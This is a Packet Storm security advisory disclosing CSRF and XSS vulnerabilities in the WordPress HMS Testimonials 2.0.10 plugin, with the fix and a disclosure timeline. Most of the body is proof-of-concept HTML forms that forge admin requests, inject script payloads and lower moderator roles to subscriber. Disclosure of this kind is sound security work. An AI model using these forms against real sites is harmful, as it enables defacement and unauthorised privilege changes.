Exploit the possiblities

WordPress HMS Testimonials 2.0.10 XSS / CSRF

WordPress HMS Testimonials 2.0.10 XSS / CSRF
Posted Aug 9, 2013
Authored by RogueCoder

WordPress HMS Testimonials plugin version 2.0.10 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
MD5 | 3314041b978eb0c91618cd3fb0d15f2d

WordPress HMS Testimonials 2.0.10 XSS / CSRF

Change Mirror Download
Update
========================
Fixed wrong dates.

Details
========================
Application: HMS Testimonials ( http://wordpress.org/plugins/hms-testimonials/ )
Version: 2.0.10
Type: Wordpress Plugin
Vendor: Jeff Kreitner ( http://profiles.wordpress.org/kreitje/ )
Vulnerability:
- Cross-Site Request Forgery (CWE-352)
- Cross-Site Scripting (CWE-79)

Description
========================
Display your customer testimonials on pages or posts. Use groups to organize and display specific testimonnials on specific pages.

Vulnerability
========================
This plugin is vulnerable to CSRF on all forms, as well as XSS on some of them

1. Testimonials is vulnerable to CSRF and XSS
2. Group is vulnerable to CSRF
3. Settings
3.1. Default is vulnerable to CSRF
3.2. Advanced is vulnerable to CSRF
3.3. Custom Fields is vulnerable to CSRF and XSS
3.4. Templates is vulnerable to CSRF and XSS

This can be used in many different ways, like defacement of both public site and the admin area (only the HMS Testimonials plugin area will be affected), modify settings to set a lower role as moderator (very harmful on sites with open registrations), etc.

Proof of Concept
========================
1. Testimonial
<form method="post" action="http://wordpress/wp-admin/admin.php?page=hms-testimonials-addnew">
<input type="hidden" name="name" value="<script>alert('xss')</script>">
<input type="hidden" name="image" value="<script>alert('xss')</script>">
<input type="hidden" name="testimonial_date" value="08/08/2013">
<input type="hidden" name="url" value="<script>alert(String.fromCharCode(88,83,83))</script>">
<input type="hidden" name="testimonial" value="<script>alert('xss')</script>">
<input type="hidden" name="display" value="1">
<input type="submit" name="save" value="Save Testimonial">
</form>

2. Group
<form method="post" action="http://wordpress/wp-admin/admin.php?page=hms-testimonials-addnewgroup&noheader=true">
<input type="hidden" name="name" value="New group">
<input type="submit" name="save" value="Save Group">
</form>

3.1. Settings - Default
<form method="post" action="http://wordpress/wp-admin/admin.php?page=hms-testimonials-settings">
<input type="hidden" name="active_links_nofollow" value="1">
<input type="hidden" name="image_width" value='100'>
<input type="hidden" name="image_height" value='100'>
<input type="hidden" name="date_format" value='m/d/Y"><script>alert(3)</script>'>
<input type="hidden" name="testimonial_container" value='div'>
<input type="hidden" name="recaptcha_publickey" value="">
<input type="hidden" name="recaptcha_privatekey" value="">
<input type="submit" name="save" value="Save Settings (Default)">
</form>

3.2. Settings - Advanced
<form method="post" action="http://wordpress/wp-admin/admin.php?page=hms-testimonials-settings-advanced">
<input type="hidden" name="moderator" value="subscriber">
<input type="hidden" name="roles" value="subscriber">
<input type="hidden" name="num_users_can_create" value="9999">
<input type="hidden" name="autoapprove" value="subscriber">
<input type="hidden" name="moderators_can_access_settings" value="1">
<input type="hidden" name="js_load" value="1">
<input type="hidden" name="roleorder[]" value="editor">
<input type="hidden" name="roleorder[]" value="author">
<input type="hidden" name="roleorder[]" value="contributor">
<input type="hidden" name="roleorder[]" value="subscriber">
<input type="submit" name="save" value="Save Settings (Advanced)">
</form>

3.3. Settings - Custom Fields
<form method="post" action="http://wordpress/wp-admin/admin.php?page=hms-testimonials-settings-fields">
<input type="hidden" name="name" value="xss">
<input type="hidden" name="type" value="textarea">
<input type="hidden" name="showonform" value="1">
<input type="submit" name="save" value="Save Settings (Custom Fields)">
</form>

3.4. Settings - Template
<form method="post" action="http://wordpress/wp-admin/admin.php?page=hms-testimonials-templates-new">
<input type="hidden" name="name" value="New template<script>alert('xss')</script>">
<input type="hidden" name="item[]" value="system_id">
<input type="submit" name="save" value="Settings Templates (Save)">
</form>

Solution
========================
Update to HMS Testimonials 2.0.11

Timeline
========================
2013-09-08 - Contacted developer with details
2013-09-08 - Fix released
2013-09-08 - Disclosed public

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    0 Files
  • 17
    Jan 17th
    0 Files
  • 18
    Jan 18th
    0 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close